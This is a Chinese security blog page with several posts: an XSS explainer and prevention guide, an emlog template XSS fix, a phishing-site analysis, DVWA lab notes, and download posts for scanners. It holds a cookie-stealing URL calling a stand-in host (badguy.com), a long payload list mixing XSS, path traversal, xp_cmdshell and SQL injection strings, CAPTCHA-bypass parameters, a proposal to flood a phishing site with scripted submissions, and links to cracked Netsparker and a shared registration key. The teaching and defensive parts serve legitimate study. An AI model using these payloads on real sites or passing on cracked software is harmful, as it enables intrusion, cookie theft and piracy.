结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防

定义(来自百度百科):

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS的工作流程大致如下(图片来自网络):3.jpg

下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:1.png

这是获取一个网站管理员的cookies

点击查看原图

这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。

下面就具体的分析一下是如何形成并且发生的:


假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

4.png


XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。5.jpg

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
6.png

XSS 攻击场景


1. Dom-Based XSS 漏洞 攻击过程如下


Tom 发现了Victim.com中的一个页面有XSS漏洞,


例如: http://victim.com/search.asp?term=apple


服务器中Search.asp 页面的代码大概如下

<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>


Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。

然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.


2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下


Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,


Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。


其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。


Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复



原则: 不相信客户输入的数据

注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
  6. 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。

如何测试XSS漏洞?


方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量


<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞


在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行


方法三:  自动化测试XSS漏洞

现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

附上一些常用的XSS测试代码:


"/><script>alert("测试一下,哈哈")</script><!-
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
%0a%0a<script>alert(\”Vulnerable\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(‘Vulnerable’);</script>
<script>alert(‘Vulnerable’)</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(‘Vulnerable’)</script>
a/
a?<script>alert(‘Vulnerable’)</script>
“><script>alert(‘Vulnerable’)</script>
‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
”;!–“<XSS>=&{()}
<IMG src=”javascript:alert(‘XSS’);”>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(“XSS”)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
“<IMG src=java\0script:alert(\”XSS\”)>”;’ > out
<IMG src=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND src=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER src=”http://www.testsite.com/a.js”></layer>
<LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”>
<IMG src=’vbscript:msgbox(“XSS”)’>
<IMG src=”mocha:”>
<IMG src=”livescript:”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME src=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<BASE href=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d);
<XML src=”javascript:alert(‘XSS’);”>
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“
<SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG src=”javascript:alert(‘XSS’)”
<!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–>
<IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”>
<SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT>
<A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A>
admin’–
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
hi’ or ‘a’=’a
hi’) or (‘a’=’a
hi”) or (“a”=”a

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。


HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。


例如在baidu中搜索"测试汉字"。 URL会变成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477


所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)


在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)


Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

7.png



如果需要做测试, 最好使用IE7-。

ASP.NET中的XSS安全机制

ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

8.png



很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。


如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss

参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html


Mrxn 发布于 2016-4-10 08:44

红树林渗透测试小工具v1.1.1

免责申明:

请使用者注意使用环境并遵守国家相关法律法规!

由于使用不当造成的后果本作者不承担任何责任!

----------------------------------------------------------------------------

woods.jpgwoods-1.jpg

/*
渗透测试中免不了一些小工具,网上也有许多,但有些不是失效就是操作繁琐。
然后自己琢磨了几个小工具集成一起,界面有点随便,后期会慢慢的进行更改、增加一些功能。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security0 C7 L% M9 Y/ o& L9 M" I
T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security2 ?( ?; J3 P: j
会持续更新本程序,有任何问题、BUG、建议烦请联系:[email protected]
*/T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security+ ]6 K- u) ~8 C7 Q3 W: P5 C
2015-09-18
*        搜索引擎抓取:调用本机IE8浏览器通过搜索引擎抓取连接,暂时仅支持IE8。
*        C段 旁注查询:同服域名查询/C段查询/自定义IP段查询。 - 低调求发展$ Y) Y* u/ Y2 G( Q$ o- D
*        子域名爆破:渗透测试中能快速定位测试目标的子域信息,可进行多级域名爆破,功能简单,以后慢慢增加DNS、Whois、子域查询功能。 - 专注网络安全- \% N& S& w8 ^# b0 t
*        Http Form、Http Basic万能暴力破解:主要针对无防火墙,无验证码等防护。进行post提交方式猜解用户密码。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security0 n. A9 [. ?5 g; n7 q; d" T
2015-11-04
*        搜索引擎抓取:更新了支持环境,支持IE8、IE9、IE10、IE11。搜索引擎批量检测最新Joomla3.2-3.4.4漏洞。0 [- v! w" q' S" e* K
*        Joomla EXP利用工具:结合搜索引擎对Joomla进行注射检测。
2015-11-06
*        增加导入功能,对Joomla进行批量检测。

链接:http://pan.baidu.com/s/1ntAeHXR 密码:cm58


Mrxn 发布于 2015-11-7 04:39

emlog模板防止跨站漏洞教程(所有模板作者请务必阅读)

进过我的调查,发现大家贡献很多的模板中都没有对URL中的参数进行必要的过滤,从而给黑客留下跨站攻击的空子。

在这里我举一个典型的例子供大家参考,下面是某个CMS模板输出搜索关键词的代码,

?php }elseif($params[1]=='keyword'){ ?> 关键词 <b><?php echo urldecode($params[2]);?></b> 的搜索结果


注意$params[2]变量没有任何过滤的就直接输出了,而我们可以构造/index.php?keyword=8<img src=1
width=500 height=500 onerror=alert(1)>在页面上运行javascript代码alert(1).
黑客在攻击时可以把alert(1)替换为攻击代码(比如获取访问者的cookie信息)后发给站长。如果站长不小心点了链接,那么黑客就能获取站长登陆
状态的cookie,有了cookie,就能冒充站长登陆站点后台做他想做的任何事情了。


综上所述,为了各位用户的安全着想,请各位模板作者在输出URL参数时使用PHP的htmlspecialchars函数来进行过滤,防止XSS攻击,像上面例子中的代码可以修改为


<pre style="overflow:auto" ;class="prettyprint lang-php linenums">?php }elseif($params[1]=='keyword'){ ?> 关键词 <b><?php echo htmlspecialchars(urldecode($params[2]));?></b> 的搜索结果


最后还是要感谢各位模板的作者为emlog的无私付出,希望这篇教程能给大家做出安全好用的模板提供一定的帮助。



本文来源于emlog论坛,由em管理员:朦胧之影 发布

标签: emlog 跨站

Mrxn 发布于 2015-8-2 07:14

对一个钓鱼网站的简单分析,轻松识别钓鱼网站

首先是其地址:http://xljjrvf.tk/ (对这些不懂得不要进去,小心你的cookies被盗)非官方QQ空间的地址:user.qzone.qq.com/xxxxxx

再看界面:

07-04-45-38.png

很像么/.?估计对于一般人来说还行,但是对于我们这些会码代码的来说,这完全不像呀...那个输入框明显的区别....主要是右上角的叉没用 -_-|

于是 Ctrl+U 如下所示:

07-04-44-36.png

很简单的两行,居然是个 内框<iframe >架嵌入. 其地址是:http://xljjrvf.tk/Login/1.html?uuuu=5&url=http://user.qzone.qq.com/403382031/4

后面的是一个地址不错,但是我查了一下,多半是他盗的.或者是一个死号.....

我们去掉后面的那一部分QQ空间代码后 访问看看:

07-04-53-36.png

这就是那个 iframe 框架标签了.URL后面随便输入返回都是这个页面,那就去掉1.html?后面的参数看看,一样,干脆一起去掉,报错了:07-04-55-40.png

是一个子目录,装的think php模板.网站物理路径也爆出来.呵呵 ....还想进一步深入么?  太困了...睡觉去..这手法,就小学生...现在的孩子都这么任性?

话说,他服务器里面是不是有很多中招的账号?想进去看的  抓紧啦!

在他的登录界面,输入账号:caonima 密码:caonima 结果第一次提示错误,第二次就正常了...说明压根就是直接就存了....那我们可以恶作剧,,

写个脚本,对其进行上万次的写入.让他去拆分真假账号吧,,,,


Mrxn 发布于 2015-7-25 20:05

十大渗透测试系统之---DVWA1.0.8练习笔记(二)

1.Command Execution (命令执行) --- Ping测试

我们打开dvwa后选择-Command Execution可以看到:

06-13-42-18.png

那我们在文本框随便输入一个IP看看,我输入 192.168.1.1 得到如下结果:

06-13-50-42.png

可以ping 说明是可以执行命令的 ,那我们试试加上一些命令呢? 例如加上列目录的命令 &dir (Linux下不一样  自行修改)

06-13-56-05.png

OK,至此说明命令执行测试成功,至于还可以干啥,什么命令就自己慢慢练习吧.

源码如下:


<pre style="overflow:auto" ;class="prettyprint lang-php linenums"> <?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

攻防FAQ:


  命令执行(命令注入)攻击的目的,是在易受攻击的应用程序中执行攻击者指定的命令,在这样的情况下应用程序执行了不必要的命令就相当于是攻击者得到了一个系统的Shell,攻击者可以利用它绕过系统授权,基于权限继承原则,Shell将具有和应用程序一样的权限。

      命令执行是由于开发人员对用户的输入未进行严格的过滤导致,通常可以通过表单,cookie,以及http头进行操作。

      针对linux系统,我们可以使用;来实行命令执行,针对windows系统,我们可以使用&&来实行命令执行。例如: 127.0.0.1 && dir


2.Cross Site Request Forgery (CSRF--跨站请求伪造)

06-14-00-28.png

密码就自动被修改了.

其源码如下:


<pre style="overflow:auto" ;class="prettyprint lang-php linenums"> <?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE users SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>

攻防FAQ:


  跨站请求伪造(cross-site request forgery)通常缩写为XSRF,直译为跨站请求伪造,即攻击者通过调用第三方网站的恶意脚本或者利用程序来伪造请求,当然并不需要向用户端伪装任何 具有欺骗的内容,在用户不知情时攻击者直接利用用户的浏览器向攻击的应用程序提交一个已经预测好请求参数的操作数据包,利用的实质是劫持用户的会话状态, 强行提交攻击者构造的具有“操作行为”的数据包。可以看出,最关键的是劫持用户的会话状态,所以说,导致XSRF漏洞的主要原因是会话状态的保持没有唯一 时间特征的标识,即是说在使用HTTPCookie传送会话令牌的过程中,应该更谨慎的判断当前用户,而不是简单的通过操作数据包的Cookie值来鉴 别,简单的说是每次数据交互时,对提交的数据包实行唯一性标识。

3.Insecure CAPTCHA (不安全的验证码)

我们需要创建一个reCAPTCHA秘钥,打开https://www.google.com/recaptcha/admin/create 即可创建,需要查资料的同学,请查看我之前发布的免费VPN:https://mrxn.net/free/173.html  或者是使用我提供的这两个:

$_DVWA['recaptcha_public_key'] = "6Lch89YSAAAAAPtf0M1lXQnqx3lBH27Syob4Xe9I";
$_DVWA['recaptcha_private_key'] = "6Lch89YSAAAAANFwnpEQMwVvCg90mzTF_FuAwcr5";

然后在更改密码输入框就会出现验证码:

06-14-33-45.png

这时候我们输入新密码 不用输入验证码就可以修改密码.

源码:

<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
    $hide_form = true;
    $user = $_POST['username'];
    $pass_new = $_POST['password_new'];
    $pass_conf = $_POST['password_conf'];
    $resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
        $_SERVER["REMOTE_ADDR"],
        $_POST["recaptcha_challenge_field"],
        $_POST["recaptcha_response_field"]);
    if (!$resp->is_valid) {
        // What happens when the CAPTCHA was entered incorrectly
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;    
    } else {
            if (($pass_new == $pass_conf)){
            echo "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes. <br /></pre>";
            echo "
            <form action=\"#\" method=\"POST\">
                <input type=\"hidden\" name=\"step\" value=\"2\" />
                <input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
                <input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
                <input type=\"submit\" name=\"Change\" value=\"Change\" />
            </form>";
            }    
            else{
                    echo "<pre> Both passwords must match </pre>";
            $hide_form = false;
            }
    }
}
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) ) 
{
    $hide_form = true;
        if ($pass_new != $pass_conf)
        {
                echo "<pre><br />Both passwords must match</pre>";
        $hide_form = false;
                return;
        }
        $pass = md5($pass_new);
        if (($pass_new == $pass_conf)){
               $pass_new = mysql_real_escape_string($pass_new);
               $pass_new = md5($pass_new);
               $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
               $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
               echo "<pre> Password Changed </pre>";
               mysql_close();
        }
        else{
               echo "<pre> Passwords did not match. </pre>";
        }
}
?> 
攻防FAQ:

CAPTCHA 是一种人机识别的程序,用来判断访问网站的是人还是机器,你应该看到过很多网站使用了扭曲的图片或者是文字来防止"机器人"或者其它自动化的程序,CAPTCHA可以保护网站免受垃圾信息的骚扰,因为没有计算机可以识别这种技术。

CAPTCHAs通常用来保护敏感信息,防止被机器人(自动化程序)滥用,比如用户登陆,更改密码,发布内容等等。本例中CAPTCHAs保护更改管理员密码功能,它可以从一定限度上防止CSRF攻击和自动化猜解工具。

本例中的CAPTCHA很容易绕过,开发人员假设所有人都可以通过第一关的认证进行下一关,其中的密码是实际的更改,提交新密码后将直接更新到数据库中。

在低安全级别来完成此次挑战所需要的参数如下:

step=2&password_new=password&password_conf=password&Change=Change

在中安全级别,开发者试图保持会话状态并跟踪它是否完成之前提交的验证码,但是("passed_captcha")状态是在在客户端上提交,所以也可以很容易绕过:

step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change

在高安全级别,开发者移除了所有的攻击途径,处理过程得到简化,使数据和CAPTCHA验证发生在一个单一的步骤,另外开发者将状态变量存佬在服务器端。


注:都是博主自己测试玩耍的,大牛绕道.菜鸟勿喷.


Mrxn 发布于 2015-6-25 05:38

Web安全扫描器Netsparker v4.0.1.0 Edition破解版

QQ截图20150516231819.png

Netsparker是一款综合型的web应用安全漏洞扫描工具,它分为专业版和免费版,免费版的功能也比较强大。Netsparker与其他综合性的 web应用安全扫描工具相比的一个特点是它能够更好的检测SQL Injection和 Cross-site Scripting类型的安全漏洞。

点击查看原图

update:2019/11/19:
Netsparker v4.0.1.0 Edition破解版下载地址:链接:https://pan.baidu.com/s/1IQcji9OS3eaiKj-adSI_7g 提取码:mrxn 
Netsparker v5.2.rar 下载链接: https://pan.baidu.com/s/1r2jRgpDljBiuVpW6KYoMmw 提取码: mrxn
Netsparker Professional Edition v5.3.0.23162 下载链接: https://pan.baidu.com/s/1_Qh03BTEMf3ciUh0dqPVvw 提取码: mrxn 

注:需要.net framework 2.0+ 环境支持 ,自行百度下载。cracked By吾爱破解 ID Lkou[LCG]

安装步骤:下载解压后,直接安装,安装完毕后,切记,不要打开软件,将crack文件夹里面的两个文件复制到你安装的目录覆盖,然后在打开桌面,就可以正常使用了。

如还有不会的,请留言或者是评论,我会尽量帮你解决的。欢迎转载,请注明地址:Mrxn's Blog  https://mrxn.net


Mrxn 发布于 2015-5-16 14:18

WebCruiser Web Vulnerability Scanner 3.5.3 注册码+软件+PDF说明+使用指南

Web安全扫描工具WebCruiser - Web Vulnerability Scanner

运行平台:Windows with .Net FrameWork 2.0或以上

界面语言:英文版

功能简介

* 网站爬虫(目录及文件);

* 漏洞扫描(SQL注入,跨站脚本,XPath注入);

* 漏洞验证(SQL注入,跨站脚本,XPath注入);

* SQL Server明文/字段回显/盲注;

* MySQL字段回显/盲注;

* Oracle字段回显/盲注;

* DB2字段回显/盲注;

* Access字段回显/盲注;

* 管理入口查找;

* GET/Post/Cookie 注入;

* 搜索型注入延时;

* 自动从自带浏览器获取Cookie进行认证;

* 自动判断数据库类型;

* 自动获取关键词;

* 多线程;

* 高级:代理、敏感词替换/过滤;

* 报告;

2015-05-14-20.png

与其他的Web安全扫描软件相比较有以下特点:


Web漏洞扫描器webcruiser Web漏洞

扫描仪主要集中在高风险漏洞webcruiser可以

扫描指定的漏洞类型或指定的URL

指定独立页面别的工具通常不能.

2015-05-14-36.png

注册码:  

[email protected]

下载地址:链接:http://pan.baidu.com/s/1sjNsnG5 密码:nrvb

官方下载:http://www.janusec.com/downloads/




Mrxn 发布于 2015-5-14 09:44

个人资料

    blogger

    Mrxn

    一个关注网络安全,热爱黑客技术的好青年!

搜索

最新评论